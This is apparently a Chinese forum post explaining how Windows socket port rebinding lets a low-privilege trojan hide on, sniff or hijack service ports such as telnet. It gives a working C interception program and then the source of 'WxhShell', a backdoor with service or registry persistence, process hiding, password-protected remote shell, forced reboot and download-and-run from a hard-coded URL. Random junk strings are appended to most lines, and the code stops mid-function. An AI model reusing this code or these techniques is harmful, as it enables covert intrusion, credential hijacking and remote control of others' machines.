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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IZm6.F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x;`G n_  
)+|wrK:*v  
  saddr.sin_family = AF_INET; M$.bC0}T  
S>r}3,]S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YtKT3u:x  
]f?r@U'AS|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7 )[2Ud8  
uF1 4;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q,<l3rIn  
6 rj iZ%  
  这意味着什么?意味着可以进行如下的攻击: }st~$JsV1  
I\1"E y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mtkZF{3Jx  
M$Ui=GGq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %rJDpB{  
<bo^uw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n#Dy YVb  
J[r_ag  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l)o!&]2  
1LSJy*yY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,YjjL  
(gPB@hAv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B~k{f}  
XR9kxTuk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )B +o F7  
ZMZWO$"K1  
  #include 8+dsTX`|S  
  #include R+0gn/a[G  
  #include -^yc<%U  
  #include    fZr{x$]N0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a%BC{XX  
  int main() 3UW`Jyd`k  
  { uL-kihV:-  
  WORD wVersionRequested; );AtFP0Y  
  DWORD ret; E2dS@!]V  
  WSADATA wsaData; lhJY]tQt/  
  BOOL val; p7Zeudmj  
  SOCKADDR_IN saddr; llR5qq=t  
  SOCKADDR_IN scaddr; _Dqi#0#40p  
  int err; #<B?+gzFM{  
  SOCKET s; H.]V-|U  
  SOCKET sc; T^vo9~N*  
  int caddsize; wBg?-ji3<  
  HANDLE mt; {d'B._#i  
  DWORD tid;   88 X]Uw(+  
  wVersionRequested = MAKEWORD( 2, 2 ); =WI3#<vDG  
  err = WSAStartup( wVersionRequested, &wsaData ); ": BZZ\!  
  if ( err != 0 ) { iG"v  
  printf("error!WSAStartup failed!\n"); <dE~z]P  
  return -1; 2]Cn<zJ  
  } x1`(Z|RJ  
  saddr.sin_family = AF_INET; T+~&jC:{  
   H1%o)'Kut4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +PWm=;tcC  
:|S[i('  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ewN|">WXQ  
  saddr.sin_port = htons(23); 3I)oqS@q'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bv(+$YR  
  { E&z^E2  
  printf("error!socket failed!\n"); FZ<6kk4  
  return -1; Iurz?dt4w  
  } *oIIcE4g7  
  val = TRUE; W ^Fkjqpv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t4d/%b~{:U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eYoc(bG(+  
  { U?|A3;,xh  
  printf("error!setsockopt failed!\n"); !BrZTo  
  return -1; ;nbEV2Y<  
  } *^7^g!=z2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; % q!i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]e5aHpgR=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @oj_E0i3  
kSol%C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W7~_XI  
  { >YXb"g@.  
  ret=GetLastError(); ~2 XGw9`J2  
  printf("error!bind failed!\n"); jqj}j2 9  
  return -1; }*%=C!m4R!  
  } +/%4E %  
  listen(s,2); G.iQ\'1_h  
  while(1) MFO%F) 5  
  { )>b1%x} =  
  caddsize = sizeof(scaddr); Sh-B!  
  //接受连接请求 WuF\{bUh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K*'AjT9wX+  
  if(sc!=INVALID_SOCKET) NcwUK\  
  { "30=!k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [:e>FXV  
  if(mt==NULL) 5syzh S  
  { ASMItT  
  printf("Thread Creat Failed!\n"); -:L7iOzgD  
  break; yGWl8\,j0  
  } rO#$SW$YW  
  } JUDZ_cGr  
  CloseHandle(mt); y,Bj,zw  
  } L{&1w  
  closesocket(s); gMq;  
  WSACleanup(); =? q&/ cru  
  return 0; <?8cVLW} O  
  }   d/3&3>/  
  DWORD WINAPI ClientThread(LPVOID lpParam) wod{C!  
  { >.C$2bW<L  
  SOCKET ss = (SOCKET)lpParam; r z@%rOWV  
  SOCKET sc; RiZ}cd  
  unsigned char buf[4096]; hZUS#75M5  
  SOCKADDR_IN saddr; wV$V X  
  long num; P&5vVA6K7  
  DWORD val; s:,fXg25J  
  DWORD ret; d@cyQFX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3)&rj 7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1uA-!T*e>  
  saddr.sin_family = AF_INET; G+C{_o#3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "].TKF#yg  
  saddr.sin_port = htons(23); j9RpYz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .1J`>T?=Q  
  { [tt_>O  
  printf("error!socket failed!\n"); S*3$1BTl  
  return -1; >B;S;_5=  
  } p{r{}iYI  
  val = 100; R~TG5^(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ko!aX;K  
  { _Bn8i(  
  ret = GetLastError(); k^k1>F}yx  
  return -1; _ J"J[$  
  } biffBC:q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ahM? ;p  
  { JL:B4 f%}B  
  ret = GetLastError(); yFFNzw{  
  return -1; 95D(0qv  
  } x5U;i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,(c'h:@M  
  { #&{)`+!"  
  printf("error!socket connect failed!\n"); u6\W"LW  
  closesocket(sc); =5%}CbUU)4  
  closesocket(ss); s\3ZE11L  
  return -1; P8CIKoKCV  
  } <_bGV  
  while(1) =*y{y)B^g  
  { b%X}{/n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X)9|ZF2`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o+<hI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4=* ml}RP  
  num = recv(ss,buf,4096,0); :NH '>'  
  if(num>0) ^'sOWIzeiY  
  send(sc,buf,num,0); | 8n,|%e  
  else if(num==0) yAel4b/}  
  break; 0b,{4DOD  
  num = recv(sc,buf,4096,0); {`L,F  
  if(num>0) !:g\Fe]  
  send(ss,buf,num,0); 9B3}LVg\  
  else if(num==0) *(*XNd||  
  break; E@="n<uS  
  } FEA/}*2F  
  closesocket(ss); <@@@Pl!~  
  closesocket(sc); 9 &Od7Cn  
  return 0 ;  _8z  
  } D%'rq  
#M[Cq= 2  
(G"/C7q  
========================================================== KiNluGNt  
L=<,+m[!  
下边附上一个代码,,WXhSHELL I)G.tJZ e  
"r{ ^Y??  
========================================================== +n8,=}  
O}Do4>02  
#include "stdafx.h" KR4RIJZ_t  
yLt?XhRlp  
#include <stdio.h> ]b&qC (  
#include <string.h> E|B1h!!\c  
#include <windows.h> 'BEM:1)  
#include <winsock2.h> !{oP'8Ax$  
#include <winsvc.h> UFa00t^5  
#include <urlmon.h> !P_'n  
<{1 3Nd'o  
#pragma comment (lib, "Ws2_32.lib") n] n3/wpO  
#pragma comment (lib, "urlmon.lib") umiD2BRZ  
`&/zOMp  
#define MAX_USER   100 // 最大客户端连接数 FkoN+\d  
#define BUF_SOCK   200 // sock buffer LGVGr  
#define KEY_BUFF   255 // 输入 buffer jZ69sDhE  
qjvIp-  
#define REBOOT     0   // 重启 v#KE"m  
#define SHUTDOWN   1   // 关机 2) A$bx  
H*dQT y,  
#define DEF_PORT   5000 // 监听端口 /#?i+z   
\V<deMb=  
#define REG_LEN     16   // 注册表键长度 g\,HiKBXd  
#define SVC_LEN     80   // NT服务名长度 \3z^/F~  
( e(<4-&  
// 从dll定义API N &vQis  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ((_v>{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4T#Z[B[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /E6 Tt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "{(4  
+ f?xVW<h  
// wxhshell配置信息 gMZ?MG  
struct WSCFG { ps?B;P  
  int ws_port;         // 监听端口 .gHL(*1P  
  char ws_passstr[REG_LEN]; // 口令 ;0\  
  int ws_autoins;       // 安装标记, 1=yes 0=no b;sjw5cm_  
  char ws_regname[REG_LEN]; // 注册表键名 v~HfA)#JK  
  char ws_svcname[REG_LEN]; // 服务名 -U_<:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B bx.RL.V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t) ~v5vr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E|^~R}z)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )kNyl@m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +xtR`Y"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s|&2QG0'7  
rB%acTCz=[  
}; Q1@V?`rkS{  
LaiUf_W#X  
// default Wxhshell configuration }vdhk0  
struct WSCFG wscfg={DEF_PORT, -{fbZk&A  
    "xuhuanlingzhe", uU00ZPS*G[  
    1, Nb;Yti@Y.  
    "Wxhshell", %7rWebd-  
    "Wxhshell", o%A@ OY  
            "WxhShell Service", ;H8A"$%n~  
    "Wrsky Windows CmdShell Service", J;BG/VI1  
    "Please Input Your Password: ", e c`3Qw  
  1, G@QZmuj&KH  
  "http://www.wrsky.com/wxhshell.exe", <)(STo  
  "Wxhshell.exe" xlaBOKa%  
    }; enT.9|vm/  
EGyQ hZ mO  
// 消息定义模块 # S4{,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #fYz367>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bKH8/*Yk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %@jv\J  
char *msg_ws_ext="\n\rExit."; 8aD4 wc  
char *msg_ws_end="\n\rQuit."; `ja**re  
char *msg_ws_boot="\n\rReboot..."; "-TIao#  
char *msg_ws_poff="\n\rShutdown..."; Ey u?T  
char *msg_ws_down="\n\rSave to "; 52#@.Qa  
s&$Zgf6Z  
char *msg_ws_err="\n\rErr!"; %k3a34P@  
char *msg_ws_ok="\n\rOK!"; asI:J/%+2  
4o2 C=?@(  
char ExeFile[MAX_PATH]; &sQtS  
int nUser = 0; ghiFI<)VY  
HANDLE handles[MAX_USER]; wLC|mByq  
int OsIsNt; A`Bg"k:D  
.HG0%Vp  
SERVICE_STATUS       serviceStatus; @[S\ FjI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c;bp[ Y3R  
IXf@YV  
// 函数声明 KyAQzN9  
int Install(void); w_I}FPT<(:  
int Uninstall(void); #3u;Ox  
int DownloadFile(char *sURL, SOCKET wsh); o^},L?  
int Boot(int flag); w]\O3'0Js  
void HideProc(void); |L7 `7!Z  
int GetOsVer(void); 4>Q6!"  
int Wxhshell(SOCKET wsl); NPEs0|  
void TalkWithClient(void *cs); vV| u+v{  
int CmdShell(SOCKET sock); 9oY%v7  
int StartFromService(void); h7  >  
int StartWxhshell(LPSTR lpCmdLine); p9 |r y+t  
` oYrW0Vm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' 7>V4\"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); */RtN`dh  
|k> _ jO  
// 数据结构和表定义 :nw4K(:f  
SERVICE_TABLE_ENTRY DispatchTable[] = (a1s~  
{ Z %MP:@z  
{wscfg.ws_svcname, NTServiceMain}, y_8 8I:O  
{NULL, NULL} -q\1Tlc]3  
}; BaTE59W  
3%xj-7z W  
// 自我安装 >9|/sH@W  
int Install(void) >+fet ,  
{ .t0Q>:}&b  
  char svExeFile[MAX_PATH]; ueYZM<],  
  HKEY key; W04-D  
  strcpy(svExeFile,ExeFile); bY;ah;<  
oO>mGl36H  
// 如果是win9x系统,修改注册表设为自启动 nYMdYt04sl  
if(!OsIsNt) { eEQ 4L\d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3m?3I2k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )}7rM6hv  
  RegCloseKey(key); }S$]MY,*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wgdij11e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j#0@%d  
  RegCloseKey(key); &B7X LO[  
  return 0; q?{wRBVVB  
    } 0\Qqv7>  
  } Je+z\eT!5<  
} !5Kv9P79  
else { pl V]hu27K  
.QzHHW4&0  
// 如果是NT以上系统,安装为系统服务 *9((b;Ju  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yyby 1  
if (schSCManager!=0) QkwBw^'_5  
{ 7\K=8G  
  SC_HANDLE schService = CreateService =ex71qj)  
  ( NS;,(v{*N  
  schSCManager, X[ }5hZcX  
  wscfg.ws_svcname, uG2Hzav  
  wscfg.ws_svcdisp, O[;>Y'zqC%  
  SERVICE_ALL_ACCESS, uJm9h(xq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a}+|2k_  
  SERVICE_AUTO_START, soXeHjNl  
  SERVICE_ERROR_NORMAL, x\GCsVy  
  svExeFile, f 6Bx>lh  
  NULL, ; 7[5%xM  
  NULL, +hRAU@RA  
  NULL, tD.md _E  
  NULL, |28z4.  
  NULL  =h\,-8  
  ); (5re'Pl  
  if (schService!=0) &hEtVkK  
  { 7g cr$&+e  
  CloseServiceHandle(schService); JV Fn=Mw  
  CloseServiceHandle(schSCManager); _1 f!9ghT\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \SS1-UbL  
  strcat(svExeFile,wscfg.ws_svcname); E=3<F_3W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )VID ;l;4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B_anO{3$4  
  RegCloseKey(key); &%}6&PW i  
  return 0; iZB?5|*  
    } ogH{   
  } Lk6UT)C  
  CloseServiceHandle(schSCManager); f3]Z22Yq  
} r:2G11[  
} Zx7Y ,0  
kFW9@ !9  
return 1; p@y?xZS  
} %:sQ[^0  
DZ |0CB~  
// 自我卸载 +dcBh Dq  
int Uninstall(void) Q-_&5/G  
{ htj:Z:C`  
  HKEY key; hMh8)S  
Ro`9Ibqr  
if(!OsIsNt) { yf*^Y74  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h W6og)x  
  RegDeleteValue(key,wscfg.ws_regname); & xo,49`!  
  RegCloseKey(key); #HpF\{{v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |T atRB3>  
  RegDeleteValue(key,wscfg.ws_regname); )"q$g&  
  RegCloseKey(key); B>WAlmPA  
  return 0; j{U?kW{o  
  } 9`81br+~  
} R$IxR=hMx  
} '.r_6X$7Jt  
else { <spVUp  
A'HFpsa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8e:J{EG~  
if (schSCManager!=0) 3,=97Si=  
{ F~2bCy[Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ) gbns'Z<  
  if (schService!=0) w5w,jD[  
  { OOn{Wp  
  if(DeleteService(schService)!=0) { ov*?[Y7|~  
  CloseServiceHandle(schService); U}<5%"!;  
  CloseServiceHandle(schSCManager); E*'sk  
  return 0; kAA1+rG  
  } :*Lr(-N-  
  CloseServiceHandle(schService); 7)tkqfb]  
  } ~v"4;A 6  
  CloseServiceHandle(schSCManager); @&p:J0hbp  
} awkPFA*c'  
} >M=_:52.+  
PTrKnuM\J_  
return 1; <fg~+{PA&  
} +e}v) N  
7yM=$"'d  
// 从指定url下载文件 ~(OG3`W!  
int DownloadFile(char *sURL, SOCKET wsh) {Z0(V"Q  
{ #d2XVpO[0  
  HRESULT hr; Hd]o?q\  
char seps[]= "/"; .\XFhOsa  
char *token; ^3"~ T  
char *file; =jXBF.  
char myURL[MAX_PATH]; jYDpJ##Zb  
char myFILE[MAX_PATH]; q{T [|(!  
f?vbIc`  
strcpy(myURL,sURL); @lpo$lN0R  
  token=strtok(myURL,seps); Htl2CcZ  
  while(token!=NULL) #t N9#w[K{  
  { Z OJ<^t}  
    file=token; j5\z7  
  token=strtok(NULL,seps); x7\b-EC  
  } ]!CMo+  
O(x1Ja,&  
GetCurrentDirectory(MAX_PATH,myFILE); }huj%Pnk )  
strcat(myFILE, "\\"); 3-x ;_  
strcat(myFILE, file); *\Z9=8yK  
  send(wsh,myFILE,strlen(myFILE),0); s^f7w  
send(wsh,"...",3,0); K#Ia19au5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yp}J+/PX}  
  if(hr==S_OK) rlxZ,]ul  
return 0; w5fVug/;P  
else #uTNf78X  
return 1; _L?MYkD  
(D2G.R\pr  
} S$#"bK/p^  
t5O '7x  
// 系统电源模块 ?APzb4f^W  
int Boot(int flag) slUnB6@Q  
{ Wh).%K(t  
  HANDLE hToken; s&v7<)*q  
  TOKEN_PRIVILEGES tkp; ZHu"& &  
>b\{y}[  
  if(OsIsNt) { `Iwl\x[A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dfy]w4ETB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &/dYJv$[9  
    tkp.PrivilegeCount = 1; mok94XuK)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rhff8C//'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 S<E=7  
if(flag==REBOOT) { 5@QJ+@j|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F*u"LTH  
  return 0; p^.qwP\P  
} we:P_\6  
else { L%S(z)xX3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l4Au{%j\  
  return 0; 6roq 1=   
} O>R@Xj)M  
  } K HyVI6N[  
  else { CFK{.{d]B  
if(flag==REBOOT) { |P_voht  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3+[;  
  return 0; c,>y1%V*S{  
} {L'uuG\9U  
else { 3~q#P   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B*Z}=$1j  
  return 0; osM[Xv  
} {Jbouj?V!  
} +{~ cX] |  
%-?k [DL6  
return 1; ^%5 ;Sc1V  
} d+45Y,|  
,#Pp_f<  
// win9x进程隐藏模块 )7c/i+FsC  
void HideProc(void) 2CMWJi  
{ c1tM(]&  
>o:y.2yCe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KWS\iu  
  if ( hKernel != NULL ) (usFT_  
  { Y{KN:|i.!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v[~~q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U8S<wf&  
    FreeLibrary(hKernel); t $m:  
  } jXPf}{^  
-,186ZVZ  
return; 4 :phq  
} -M6#,Ji  
/+wCx#!  
// 获取操作系统版本 73j\!x  
int GetOsVer(void) }!uwWBw`  
{ Gq=tR`.  
  OSVERSIONINFO winfo; Z-j?N{3&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fQU5'wGp  
  GetVersionEx(&winfo); cb=ixn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fJ  GwT  
  return 1; &>n:7  
  else ffW-R)U|3  
  return 0; -{2Vz[[  
} XqLR2 d  
,UYe OM2Ao  
// 客户端句柄模块 h[bC#(  
int Wxhshell(SOCKET wsl) 3mQ3mV:  
{ '7<^x>D|  
  SOCKET wsh; :jAsm[  
  struct sockaddr_in client; :FUxe kz  
  DWORD myID; Qo/pz2N  
.PD_Vv>C/>  
  while(nUser<MAX_USER) B.A;1VE5  
{ I p<~Y  
  int nSize=sizeof(client); q*K[?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,\ -4X  
  if(wsh==INVALID_SOCKET) return 1; 18^K!:Of  
wG&Z7C b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |w"G4J6ha  
if(handles[nUser]==0) =}" P;4:  
  closesocket(wsh); nt%fJ k  
else /2Z7  
  nUser++; a|5<L  
  } ~ #jnkD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kXWC o6?  
oj=% < a  
  return 0; 2Akh/pb  
} ,Yn$X  
>Qqxn*O  
// 关闭 socket !'C8sNs  
void CloseIt(SOCKET wsh) n5 <B*  
{ ]k$:sX  
closesocket(wsh); qgs:9V xF  
nUser--; $azK M,<q  
ExitThread(0); bzaweA H  
} &lo<sbd.  
HHerL%/   
// 客户端请求句柄 CHi t{ @9  
void TalkWithClient(void *cs) 1@N4Y9o  
{ usNq]  
ec,Bu7'8  
  SOCKET wsh=(SOCKET)cs; \=[38?QOY  
  char pwd[SVC_LEN]; Xyu0n p;@  
  char cmd[KEY_BUFF]; y:  ]  
char chr[1]; |.b&\  
int i,j; CD. XZA[  
wHZ(=z/q  
  while (nUser < MAX_USER) { kT%m`  
fo=@ X>S  
if(wscfg.ws_passstr) { pxI[/vS N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BM9:|}\J65  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .] 0:`Y,;  
  //ZeroMemory(pwd,KEY_BUFF); *x)u9rO]  
      i=0; dP<i/@21Wm  
  while(i<SVC_LEN) { ac,<+y7A  
j*FpQiBoT  
  // 设置超时 i!G<sfL  
  fd_set FdRead; hXD`OlX  
  struct timeval TimeOut; xouBBb=  
  FD_ZERO(&FdRead); b)>l7nOc  
  FD_SET(wsh,&FdRead); ]M 2n%9  
  TimeOut.tv_sec=8; #<@_mbQ@|K  
  TimeOut.tv_usec=0; UhXVeGO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <'j ygZ(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #sv:)p  
J[UTn'M8]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #^_7i)=~  
  pwd=chr[0]; F ~e}=Nb  
  if(chr[0]==0xd || chr[0]==0xa) { *l@T 9L[M'  
  pwd=0; Odm1;\=Eg+  
  break; rcf#8  
  } *o6QBb  
  i++; p`S~UBcL.  
    } z<s ~`  
gF]IAZCi  
  // 如果是非法用户,关闭 socket P@<K&S+f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); " ;o, D  
} @7sHFwtar?  
,D.@6 bJW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2h) *  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OTEx9  
j'XND`3  
while(1) { w[uw hd  
@sRb1+nn  
  ZeroMemory(cmd,KEY_BUFF); ?i\$U'2*z3  
}5d|y*  
      // 自动支持客户端 telnet标准   :2lM7|@/  
  j=0; ()fYhk|W  
  while(j<KEY_BUFF) {  ?QcS$i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IFXnGDG$  
  cmd[j]=chr[0]; 'h> l_A  
  if(chr[0]==0xa || chr[0]==0xd) { i7?OZh*f  
  cmd[j]=0; 4)9Pgp :  
  break; { !t6& A  
  } OYOczb]  
  j++; BO 3z$c1yU  
    } ^C8f(  
-}5dZ;  
  // 下载文件 0 d2to5 (  
  if(strstr(cmd,"http://")) { "9RW<+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rY"EW"y  
  if(DownloadFile(cmd,wsh)) 'l1cuAP!+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); InG<B,/W?  
  else ^Uldyv/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&&YxX~ 3  
  } ]2z Gb5s"  
  else { NV^n}]ci  
?o d*"M  
    switch(cmd[0]) { 1! R:}r3t  
  QjsN7h&%  
  // 帮助 LfsOGC  
  case '?': { fM<g++X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MENrP5AL  
    break; zENo2#{_N  
  } /j:-GJb*!u  
  // 安装 ]r1Lr{7^S  
  case 'i': { Y2>*' nU  
    if(Install()) ?nozB|*>ut  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_:|mu'  
    else +s5Yg,4*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z.0mX#  
    break; zQtx!k=  
    } peU1 t:k?  
  // 卸载 l 4cTN @E  
  case 'r': { 6 wD  
    if(Uninstall()) >&|/4`HSB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oX-h7;SD  
    else {Yt i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&n-$WEl  
    break; M5B?`mTl  
    } lJ<( mVt  
  // 显示 wxhshell 所在路径 N4, !b_1  
  case 'p': { )eWg2w]  
    char svExeFile[MAX_PATH]; G]I^zd&P  
    strcpy(svExeFile,"\n\r"); ^^(4xHN  
      strcat(svExeFile,ExeFile); Xx=.;FYk  
        send(wsh,svExeFile,strlen(svExeFile),0); GnW_^$Fs  
    break; -KCQ!0\F  
    } V7>{,  
  // 重启 <V*M%YWs  
  case 'b': { ;<v9i#K5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oFS)3.  
    if(Boot(REBOOT)) o(5 ( ]bJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mvBUm-X  
    else { H{*R(S<I  
    closesocket(wsh); ;gW?Fnry;  
    ExitThread(0); o n?8l?iQ  
    } b .v^:M  
    break; 9,Ug  
    } (2%z9W  
  // 关机 86f/R c  
  case 'd': { b%I2ig  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .sbV<ulbc  
